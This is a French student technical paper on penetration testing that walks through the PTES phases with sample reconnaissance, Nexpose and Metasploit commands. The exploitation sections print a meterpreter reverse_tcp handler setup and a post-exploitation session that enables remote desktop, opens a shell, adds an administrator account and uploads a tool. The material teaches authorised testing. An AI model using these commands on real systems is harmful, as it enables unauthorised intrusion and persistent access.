Document Technique TEST D INTRUISION Préparé et présenté par AMINATA THIAM 3 ème année Sécurité de la Technologie de l Information, la Cité Collégiale Cours analyse des risques et vulnérabilités Mars 2012
TABLE DES MATIERES Sommaire 1. Introduction... 3 2. Les tests d intrusion... 3 3. Outils requis... 3 4. Les différentes phases du PTES... 4 4.1 Pré-engagement... 4 4.2 Collecte de renseignements... 4 Collecte d information passive... 4 Collecte d information active:... 5 4.3 Analyse de la vulnérabilité... 5 4.4 Exploitation... 6 4.5 Exploitation Message (POST)... 7 5. Rapport... 8 6. Conclusion... 8 7. Annexe... 8
1. Introduction «L'information s'impose comme un des capitaux les plus précieux pour l'organisation». Le système d'information est essentiel à l'activité d une organisation. Il est donc vital de protéger ce patrimoine; cependant un faible niveau de sécurité peut engendrer des dommages sérieux à une organisation. Pour remédier ou prévenir à un tel désastre, il faut soi-même (l entreprise) faire des tests d intrusion de son système d information ou en conférer la charge à un organisme compétant. Les tests d intrusion sont un «sujet enclin et récurrent de la sécurité informatique : ils existent en théorie depuis toujours mais ne cessent d évoluer, en fonction des nouvelles familles de vulnérabilités, mais aussi en fonction des modes». 2. Les tests d intrusion Ils consistent généralement à simuler une attaque d'un utilisateur malveillant et à analyser les risques potentiels dus à : la conception de l'architecture une mauvaise configuration d'un système la robustesse des composants un défaut de programmation une vulnérabilité liée à la solution testée les procédures d'exploitation et d administration. Dans notre cas, nous allons nous mettre dans la peau du pirate pour mener à bien ce test et ainsi nous montrerons à chaque fois quelques exemples. Le principal but de cette manœuvre est de trouver des vulnérabilités exploitables en vue de proposer un plan d'actions permettant d'améliorer la sécurité de nos systèmes. 3. Outils requis Quelques pré-requis sont nécessaires : Une bonne connaissance des réseaux : routage, protocoles IP, architectures, etc. Une connaissance des systèmes (Linux, Unix, Windows, Mac, ), Une bonne pratique des architectures applicatives et des applications actuelles (serveurs Web, middlewares, bases de données, ). Ensuite, il est nécessaire de se constituer une plate-forme d intrusion (Dans notre cas BT5) Des outils de tests automatisés, comme (Nessus, Nexpose)
4. Les différentes phases du PTES 4.1 Pré-engagement Cette réunion d initialisation, permet de : donner une vision claire de la procédure des opérations poser les limites sur l étendu du test Établir la portée (nombre de machines?, liste des serveurs, répartition géographique) Les méthodes d attaque sont aussi soumises, par exemple, le fait d avoir le droit ou non d utiliser les techniques d ingénierie sociales sur les employés, et si oui, par quels vecteurs Établir la durée et l échéancier Établir les intervenants (en cas d urgence, communication lors du test ) 4.2 Collecte de renseignements Cette phase consiste à cueillir des informations sur l organisation et les éventuelles vulnérabilités de son système d informations. Elle se divise en deux parties: Collecte d information passive «foot printing»: cette méthode nous procure les informations ci-dessous : Type d information Outils IP, Serveur DNS Whois Adresse courriel google, theharvester.py, facebook Nom d usager Google, méta données Site web EXEMPLE :
Collecte d information active: sert à identifier le système d exploitation et les «patches» qui ont été appliqué: balayage de ports etc. Type d information Il permet de savoir quels sont les ports ouverts, fermés ou filtrés, ainsi que le système d exploitation et sa version. permet d obtenir des comptes valides. Outils Nmap nmap -O 10.100.0.40 Finger Exemple : Nom d usager Site web Google, méta données Google 4.3 Analyse de la vulnérabilité Cette démarche nous fournit les informations nécessaires au développement de stratégies d atténuation, d intervention et de rétablissement. De ce fait, nous allons nous penché sur quels sont les actifs? Comment accède t on la cible? Comment se servir des exploits à partir de l information trouvée précédemment. Une analyse de type : Il existe un grand nombre de menaces : (Interne, Externe, Administrateur corrompu) Quelles sont les menaces qu il serait intéressant de représenter? Trouver des vulnérabilités existantes (manuellement/scanner) Balayage réseau (Nexpose)
Balayage réseau (Nessus) Balayage Web (Netsparker) Metasploit scanner (Metasploit Unleashed) Recherche de nouveaux exploits ou 0-day attacks (sites spécialisés) Test des exploits contre le système d antivirus utilisé Exemple : Basic scan : root@bt:~: /opt/framework/msf3/# nc 192.168.1.100 Avec l outil Nexpose root@bt:~# /etc/init.d/nexposeconsole.rc start Nexpose avec Msfconsole: msf > nexpose_connect cisco:cisco1234@192.168.16.112:3780 ok msf > load nexpose msf > nexpose_scan 192.168.1.100 msf > hosts c address msf > vulns Nexpose avec GUI https://192.168.16.112:3780 LISTE DES VULNERABILITES Vulnerability Listing Vulnerability Severity Instances Apache httpd mod_isapi module unload flaw (CVE-2010-0425) Critical 4 MySQL yassl CertDecoder::GetName Multiple Buffer Overflows Critical 1 PHP Fixed SplObjectStorage unserialization problems Critical 1 PHP Integer overflow in shmop_read( Critical 1 PHP format-string vulnerability on Phar Critical 1 PHP use-after-free in substr_replace() Critical 1 PHP Fixed stack buffer overflow in socket_connect() Critical 1 PHP Fixed MOPS-2010-24 Severe 1 PHP utf8_decode vulnerabilities and deficiencies in the number of reported malformed sequences Severe 1 PHP File path injection vulnerability in RFC1867 File upload filename Severe 1 MySQL Directory Traversal and Arbitrary Table Access Vulnerability Severe 1 MySQL COM_FIELD_LIST Command Buffer Overflow Vulnerability Severe 1 DNS server allows cache snooping Severe 2! 4.4 Exploitation Cette phase a pour objectif d exploiter les vulnérabilités trouvées dans la phase précédente dans le but de s introduire sur les machines. Dans le cas d une intrusion, on doit prouver l intrusion :
En fournissant par exemple les informations confidentielles du système d information. En démontrant qu on a pu écrire ou modifier les données Exemple root@bt:/opt/framework3/msf3# msfconsole msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.32.129 LHOST => 172.16.32.129 smsf exploit(handler) > set LPORT 443 LPORT => 443 exploit(handler) > load auto_add_route [*] Successfully loaded plugin: auto_add_route msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 172.16.32.129:443 [*] Starting the payload handler... msf exploit(handler) > 4.5 Exploitation Message (POST) Dans cette phase, nous allons pivoter à travers une vulnérabilité pour accéder à d autres machines ou services. Exemple : Meterpreter meterpreter > run getgui -e -f 8080 [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary [*] Starting the port forwarding at local port 8080 [*] Local TCP relay created: 0.0.0.0:8080 <-> 127.0.0.1:3389 meterpreter > shell Process 2480 created. Channel 6 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>net user msf metasploit /add net user msf metasploit /ADD The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators msf /add net localgroup administrators msf /add The command completed successfully. C:\WINDOWS\system32> C:\WINDOWS\system32>^Z Background channel 6? [y/n] y meterpreter > upload nmap.exe [*] uploading : nmap.exe -> nmap.exe [*] uploaded : nmap.exe -> nmap.exe meterpreter > 5. Rapport Le rapport contient une description précise de la visibilité de la plate-forme à partir de de l extérieur, une liste des vulnérabilités identifiées et cataloguées accompagnée par les mesures à prendre pour la corriger. Enfin, les risques résiduels éventuels sont aussi présentés et qualifiés. (Un modèle de rapport en annexe) 6. Conclusion Les tests d intrusion sont nécessaires, surtout avant la mise en ligne d un nouveau système car c est le moyen qui permet de s assurer de son niveau de sécurité vis-à-vis de l extérieur, ainsi, chaque test d intrusion découle un niveau de sécurité croissant. 7. Annexe Rapport.pdf